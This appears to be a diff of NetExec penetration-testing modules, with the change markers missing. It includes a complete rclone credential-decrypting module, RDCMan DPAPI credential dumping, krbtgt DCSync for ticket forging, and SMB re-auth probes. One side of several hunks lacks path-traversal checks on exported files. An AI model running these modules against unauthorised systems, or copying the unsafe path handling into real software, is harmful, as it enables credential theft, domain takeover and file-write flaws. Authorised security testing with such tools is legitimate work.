filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
export_path = join(NXC_PATH, "modules", "notepad++")
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
+4 -9
View File
@@ -1,11 +1,9 @@
from io import BytesIO
from os import makedirs
from os.path import join
from pathlib import Path
from os.path import join, abspath
import re
import time
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from impacket.smbconnection import SessionError
@@ -39,7 +37,7 @@ class NXCModule:
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
def options(self, context, module_options):
"""KILL Kill for notepad.exe process. Default: False"""
"""KILL // Kill for notepad.exe process. Default False."""
if "KILL" not in module_options:
self.kill = False
else:
@@ -163,12 +161,9 @@ class NXCModule:
content_lines.append(string) # Store the string value only
# Save to file
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt")
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
export_path = join(NXC_PATH, "modules", "notepad")
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
with open(path, "w+") as output_file:
+2 -2
View File
@@ -519,10 +519,10 @@ class NXCModule:
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
if "$FILE_NAME" in parsed_header:
filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
if "$DATA" in parsed_header:
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
+1 -1
View File
@@ -10,7 +10,7 @@ class NXCModule:
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
name = "ntlm_reflection"
description = "[REMOVED] This module has been integrated into the enum_cve module."
description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
+1 -3
View File
@@ -1,9 +1,7 @@
#!/usr/bin/env python3
from datetime import datetime, timedelta
from os.path import join
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import socket
@@ -73,7 +71,7 @@ class NXCModule:
if answers:
obsolete_hosts_count = len(answers)
filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt"))
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
with open(filename, "w") as f:
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
-85
View File
@@ -1,85 +0,0 @@
from nxc.helpers.misc import CATEGORY
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.smbconnection import SessionError
from configparser import ConfigParser
class NXCModule:
"""Module by @NeffIsBack
Based on the paper "Onelogon: Taking over Active Directory Accounts via Netlogon": https://softsec.rub.de/files/pdf/woot2026-onelogon.pdf
"""
name = "onelogon"
description = "Scan GPOs and registry for machine accounts vulnerable to Onelogon"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
def output_callback(data):
self.gpo_data += data
found_dacls = []
policies = connection.conn.listPath("SYSVOL", f"{connection.targetDomain}/Policies/*")
for policy in policies:
# Skip "." and ".." directory pointers to avoid path errors
if policy.get_longname() in [".", ".."]:
continue
try:
self.gpo_data = b""
connection.conn.getFile("SYSVOL", f"{connection.targetDomain}/Policies/{policy.get_longname()}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf", output_callback)
try:
decoded_data = self.gpo_data.decode("utf-8")
except UnicodeDecodeError:
context.log.debug(f"Failed to decode GPO data for policy {policy.get_shortname()} as UTF-8, trying UTF-16...")
decoded_data = self.gpo_data.decode("utf-16")
# Use strict=False and interpolation=None to safely handle Windows INI quirks and % variables.
# Some sections (e.g. [Service General Setting]) use value-less CSV-style rows like:
# "WinRM",2,""
# which require allow_no_value=True to avoid ParsingError.
config_parser = ConfigParser(strict=False, interpolation=None, allow_no_value=True)
config_parser.read_string(decoded_data)
for section in config_parser.sections():
for key, value in config_parser.items(section):
if key == "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\VulnerableChannelAllowList".lower():
context.log.debug(f"Found vulnerable channel allow list: {value}")
try:
# Strip the surrounding double quotes from the extracted string
found_dacls.append({"name": policy.get_shortname(), "data": value[2:].strip('"')})
except Exception as e:
context.log.error(f"Could not parse Registry Policy (error: {e}): {section} {key} {value}")
except SessionError as e:
# Catch and safely ignore expected "file not found" errors for policies without security settings
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
pass
else:
context.log.debug(f"SMB Session Error reading policy {policy.get_shortname()}: {e}")
except Exception as e:
context.log.error(f"Error parsing policy {policy.get_shortname()}, {e.__class__.__name__}: {e}")
if found_dacls:
context.log.success(f"Found {len(found_dacls)} matching policies in SYSVOL Share.")
for dacl in found_dacls:
context.log.success(f"Found vulnerable channel allow list in policy '{dacl['name']}': '{dacl['data']}'")
else:
context.log.error("No matching policies found in SYSVOL Share.")
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
regHandle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters")["phkResult"]
value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "VulnerableChannelAllowList")[1].rstrip("\x00")
context.log.success(f"Found VulnerableChannelAllowList registry configuration: {value}")
except Exception as e:
context.log.error(f"Error while querying registry: {e}")
+3 -8
View File
@@ -1,8 +1,6 @@
from os import makedirs
from os.path import join
from pathlib import Path
from os.path import join, abspath
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from io import BytesIO
@@ -48,12 +46,9 @@ class NXCModule:
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
if self.export:
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt")
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
+2 -7
View File
@@ -1,11 +1,9 @@
import os
from pathlib import Path
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
@@ -56,7 +54,7 @@ class NXCModule:
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain))
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
@@ -139,10 +137,7 @@ class NXCModule:
try:
ccache = CCache()
ccache.fromTGT(ticket, sessionKey, sessionKey)
ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve()
if Path(ccache_base_dir).resolve() not in ccache_filename.parents:
context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping")
return
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
ccache.saveFile(ccache_filename)
context.log.info(f"Saved ticket in {ccache_filename}")
except Exception as e:
+36 -59
View File
@@ -1,12 +1,10 @@
import re
from types import SimpleNamespace
from impacket.dcerpc.v5 import samr, tsch
from impacket.dcerpc.v5 import samr, tsch, transport
from impacket.dcerpc.v5 import tsts as TSTS
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from contextlib import suppress
import traceback
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -21,46 +19,11 @@ class NXCModule:
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
ALTUSER Alternative domain user to enumerate admin groups with
ALTPASS Password for ALTUSER
ALTDOMAIN Domain FQDN of the alternative credentials
ALTDC DC IP
When alternative credentials are supplied, Domain and Enterprise Admins are enumerated over SAMR against the DC using those credentials, rather than the local administrator session (which cannot enumerate these groups).
"""
self.altuser = module_options.get("ALTUSER")
self.altpass = module_options.get("ALTPASS")
self.altdomain = module_options.get("ALTDOMAIN")
self.altdc = module_options.get("ALTDC")
alt_creds = [self.altuser, self.altpass, self.altdomain]
if any(alt_creds) and not all(alt_creds):
context.log.fail("ALTUSER, ALTPASS, and ALTDOMAIN must be specified together")
return False
"""There are no module options."""
def on_admin_login(self, context, connection):
try:
if self.altuser and self.altpass and self.altdomain:
context.log.info(f"Using alternative domain credentials: {self.altdomain}\\{self.altuser}")
alt_connection = SimpleNamespace(
username=self.altuser,
password=self.altpass,
domain=self.altdomain,
lmhash="",
nthash="",
aesKey=None,
kerberos=False,
kdcHost=self.altdc,
conn=None,
host=self.altdc,
remoteName=self.altdc,
port=445,
)
admin_users = self.enumerate_admin_users(context, alt_connection)
else:
admin_users = self.enumerate_admin_users(context, connection)
admin_users = self.enumerate_admin_users(context, connection)
if not admin_users:
context.log.fail("No admin users found.")
return
@@ -76,19 +39,36 @@ class NXCModule:
context.log.fail(str(e))
context.log.debug(traceback.format_exc())
def get_dce_rpc(self, named_pipe, dce_binding, connection, target_ip=None, auth_level=None):
return NXCRPCConnection(connection).connect(
named_pipe,
dce_binding,
target_ip=target_ip,
auth_level=auth_level or RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
def get_dce_rpc(self, target, string_binding, dce_binding, connection):
# Create a DCE/RPC transport object with the specified string binding
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(target)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
# Connect to the DCE/RPC endpoint
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*rpctransport.get_credentials())
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(dce_binding)
return dce
def enumerate_admin_users(self, context, connection):
admin_users = []
try:
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
except Exception as e:
context.log.fail(f"Failed to connect to SAMR: {e}")
context.log.debug(traceback.format_exc())
@@ -184,23 +164,19 @@ class NXCModule:
context.log.debug(f"Enumerated {len(processes)} processes on {connection.host}")
for process in processes:
info = process.getProcessInfo()
image_name = info["ImageName"].getValue()
pid = info["UniqueProcessId"]
session_id = info["SessionId"]
psid = process.getSid()
context.log.debug(f"ImageName: {image_name}, UniqueProcessId: {pid}, SessionId: {session_id}, pSid: {psid}")
context.log.debug(f"ImageName: {process['ImageName']}, UniqueProcessId: {process['SessionId']}, pSid: {process['pSid']}")
# Check if process SID matches any admin user SID
for user in admin_users:
if psid == user["sid"]:
if process["pSid"] == user["sid"]:
user["in_tasks"] = True
context.log.info(f"Matched process {image_name} with user {user['username']}")
context.log.info(f"Matched process {process['ImageName']} with user {user['username']}")
def check_scheduled_tasks(self, context, connection, admin_users):
"""Checks scheduled tasks over rpc."""
try:
dce = self.get_dce_rpc(r"\atsvc", tsch.MSRPC_UUID_TSCHS, connection)
target = connection.remoteName if connection.kerberos else connection.host
stringbinding = f"ncacn_np:{target}[\\pipe\\atsvc]"
dce = self.get_dce_rpc(target, stringbinding, tsch.MSRPC_UUID_TSCHS, connection)
# Also extract non admins where we can get the password
self.non_admins = []
@@ -224,7 +200,8 @@ class NXCModule:
non_admin_sids.add(sid.group(1))
if non_admin_sids:
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
# Get Domain Handle
server_handle = samr.hSamrConnect2(dce)["ServerHandle"]
+36 -4
View File
@@ -1,13 +1,17 @@
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException, rpc_status_codes
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
from impacket.structure import Structure
from impacket.dcerpc.v5 import rprn
from nxc.helpers.rpc import NXCRPCConnection
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY
from nxc.helpers.misc import CATEGORY
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
}
class NXCModule:
"""
@@ -23,6 +27,7 @@ class NXCModule:
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.__string_binding = None
self.port = None
def options(self, context, module_options):
@@ -32,8 +37,35 @@ class NXCModule:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]"
context.log.info(f"Binding to {stringbinding!r}")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(target)
rpctransport.set_dport(self.port)
try:
dce = NXCRPCConnection(connection).connect(r"\spoolss", rprn.MSRPC_UUID_RPRN)
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
dce.bind(rprn.MSRPC_UUID_RPRN)
except Exception as e:
context.log.fail(f"Failed to bind: {e}")
return False
+1 -1
View File
@@ -8,7 +8,7 @@ class NXCModule:
Module by @_sandw1ch
"""
name = "pso"
description = "[REMOVED] This module moved to the core option --pso"
description = "Module to get the Fine Grained Password Policy/PSOs"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
+1 -6
View File
@@ -6,10 +6,8 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from pathlib import Path
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import re
@@ -162,10 +160,7 @@ class NXCModule:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve()
if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents:
self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping")
continue
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
buf = BytesIO()
with open(download_path, "wb") as file:
+34 -10
View File
@@ -2,6 +2,7 @@ import os
import datetime
import re
from contextlib import suppress
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
from impacket.dcerpc.v5.drsuapi import DCERPCSessionError
from calendar import timegm
@@ -19,7 +20,6 @@ from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GRO
from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
# Encryption type configurations: enctype, checksum, signature size, session key size
ETYPE_CONFIG = {
@@ -49,7 +49,7 @@ class NXCModule:
self.krbtgt_hash = ""
self.aes128_key = ""
self.aes256_key = ""
self.etype = "aes256"
self.etype = "rc4"
def options(self, context, module_options):
"""
@@ -59,7 +59,7 @@ class NXCModule:
USER Target username to forge the ticket for (default: Administrator)
USER_ID RID used as the user ID in the PAC (default: 500)
RID RID used for the extra SID (default: 519 = Enterprise Admins)
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256)
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
Examples:
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
@@ -69,7 +69,7 @@ class NXCModule:
"""
self.context = context
self.module_options = module_options
self.etype = module_options.get("ETYPE", "aes256").lower()
self.etype = module_options.get("ETYPE", "rc4").lower()
def on_admin_login(self, context, connection):
self.context = context
@@ -133,6 +133,32 @@ class NXCModule:
else:
self.context.log.fail("Could not retrieve child domain SID from connection.")
def _get_smb_session(self, ldap_conn):
smb = SMBConnection(
remoteName=ldap_conn.hostname,
remoteHost=ldap_conn.host,
sess_port=445,
)
if ldap_conn.kerberos:
smb.kerberosLogin(
user=ldap_conn.username,
password=ldap_conn.password,
domain=ldap_conn.domain,
lmhash=ldap_conn.lmhash,
nthash=ldap_conn.nthash,
aesKey=ldap_conn.aesKey,
kdcHost=ldap_conn.kdcHost,
useCache=ldap_conn.use_kcache,
)
elif ldap_conn.nthash or ldap_conn.lmhash:
# NTLM pass-the-hash
smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash)
else:
# NTLM with cleartext password
smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain)
return smb
def _get_domain_netbios(self, ldap_conn):
resp = ldap_conn.search(
baseDN=f"CN=Partitions,{ldap_conn.configuration_context}",
@@ -199,13 +225,11 @@ class NXCModule:
def get_krbtgt_hash(self, connection):
try:
smb_conn = get_smb_connection(self.context, connection)
smb_conn = self._get_smb_session(connection)
self._dcsync_krbtgt(smb_conn, connection)
except Exception as e:
self.context.log.fail(f"Error during DCSync: {e}")
return
if not smb_conn:
return
self._dcsync_krbtgt(smb_conn, connection)
if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key):
try:
@@ -276,7 +300,7 @@ class NXCModule:
def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
kerbdata = KERB_VALIDATION_INFO()
now_utc = datetime.datetime.now(datetime.UTC)
now_utc = datetime.datetime.now(datetime.timezone.utc)
now_unix = timegm(now_utc.timetuple())
now_filetime = self._getFileTime(now_unix)
@@ -427,7 +451,7 @@ class NXCModule:
pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
now_utc = datetime.datetime.now(datetime.UTC)
now_utc = datetime.datetime.now(datetime.timezone.utc)
end_utc = now_utc + datetime.timedelta(hours=duration_hours)
enc_ticket_part = EncTicketPart()
-88
View File
@@ -1,88 +0,0 @@
import base64
from Cryptodome.Cipher import AES
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "rclone"
description = "Searches for rclone.conf and deobscures credentials"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No module options."""
def on_admin_login(self, context, connection):
self.share = "C$"
base_dir = "\\Users"
skip_dirs = {"Public", "Default", "Default User", "All Users"}
try:
entries = connection.conn.listPath(self.share, base_dir + "\\*")
except Exception as e:
context.log.fail(f"Failed to list {base_dir}: {e}")
return False
usernames = [
entry.get_longname()
for entry in entries
if entry.is_directory() and entry.get_longname() not in skip_dirs | {".", ".."}
]
if not usernames:
context.log.warning("No user directories found.")
return False
for username in usernames:
conf_path = f"\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf"
context.log.info(f"Trying to read: {self.share + conf_path}")
conf_data = ""
try:
buf = BytesIO()
connection.conn.getFile(self.share, conf_path, buf.write)
conf_data = buf.getvalue().decode()
except Exception:
context.log.info(f"[{username}] rclone.conf not found.")
continue
if "RCLONE_ENCRYPT_V0" in conf_data:
context.log.fail(f"[{username}] Encrypted config — skipping.")
continue
context.log.success(f"[{username}] rclone.conf found!")
for line in conf_data.splitlines():
line = line.strip()
if not line:
continue
if "=" not in line:
context.log.highlight(line.strip())
continue
key, val = map(str.strip, line.split("=", 1))
if key.lower() in ("pass", "password", "password2"):
try:
plain = self.deobscure(val)
context.log.highlight(f"{key} = {plain}")
except Exception as e:
context.log.warning(f"[{username}] Failed to deobscure {key}: {e}")
else:
context.log.highlight(line.strip())
return True
def deobscure(self, obscured):
encrypted_password = self.base64_urlsafedecode(obscured)
iv = encrypted_password[:AES.block_size]
buf = encrypted_password[AES.block_size:]
SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38"
crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"")
return crypter.decrypt(buf).decode("utf-8")
def base64_urlsafedecode(self, string):
padding = (4 - len(string) % 4) % 4
string += "=" * padding
return base64.urlsafe_b64decode(string)
+33 -6
View File
@@ -1,28 +1,55 @@
from dploot.triage.rdg import RDGTriage, RDGServerProfile
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "rdcman"
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success("Looting RDCMan secrets")
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
try:
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
rdcman_files, rdgfiles = triage.triage_rdcman()
for rdcman_file in rdcman_files:
if rdcman_file is None:
@@ -31,7 +58,7 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
for rdgfile in rdgfiles:
if rdgfile is None:
continue
@@ -39,6 +66,6 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot RDCMan secrets: {e}")
+3 -14
View File
@@ -1,6 +1,6 @@
from sys import exit
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.connection import dcom_FirewallChecker
from nxc.helpers.misc import CATEGORY
from impacket.dcerpc.v5 import rrp
@@ -101,8 +101,7 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
if wmi_rdp._RdpWmi__dcom is not None:
wmi_rdp._RdpWmi__dcom.disconnect()
wmi_rdp._RdpWmi__dcom.disconnect()
class RdpSmb:
@@ -223,16 +222,7 @@ class RdpWmi:
self.__aesKey = connection.aesKey
self.__timeout = timeout
self.__dcom = None
if self.__currentprotocol == "wmi":
# The wmi protocol already holds an authenticated IWbemLevel1Login:
# reuse it instead of creating a second DCOMConnection to the same
# target (whose disconnect would clash with the protocol's own)
self.__iWbemLevel1Login = connection.iWbemLevel1Login
return
try:
*_, tgt, _ = connection.conn.getCredentials()
self.__dcom = DCOMConnection(
self.__target,
self.__username,
@@ -245,12 +235,11 @@ class RdpWmi:
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
TGT=tgt,
)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout, self.logger)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
-144
View File
@@ -1,144 +0,0 @@
import binascii
import contextlib
from impacket import ntlm
from impacket.smb3 import SMB2SessionSetup, SMB2SessionSetup_Response
from impacket.smb3structs import SMB2_SESSION_SETUP
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
class NXCModule:
"""
Module made by: Lyderic Lefebvre (@aas_s3curity) - https://blackfield.ch
Check if an SMB server still allows a cross-user re-authentication swap on an existing session:
log in as one account, then re-authenticate as a different one on the same connection. That swap
is the primitive an auth relay uses to keep a privileged session under a signing key it controls,
defeating enforced SMB signing. Recent Windows builds allow same-user re-auth only and refuse the
swap with ACCESS_DENIED. Microsoft fixed this server-side as CVE-2026-69676 (September 2026
cumulative updates). Not derivable from the build number (feature-flagged: the same build can
allow or refuse it), so it is probed live.
https://blackfield.ch/blog/defeating-enforced-smb-signing/
"""
name = "reauth_swap"
description = "Check if the server allows a cross-user re-auth swap on an SMB session (used to defeat enforced signing); needs a 2nd account"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
STATUS_SUCCESS = 0x00000000
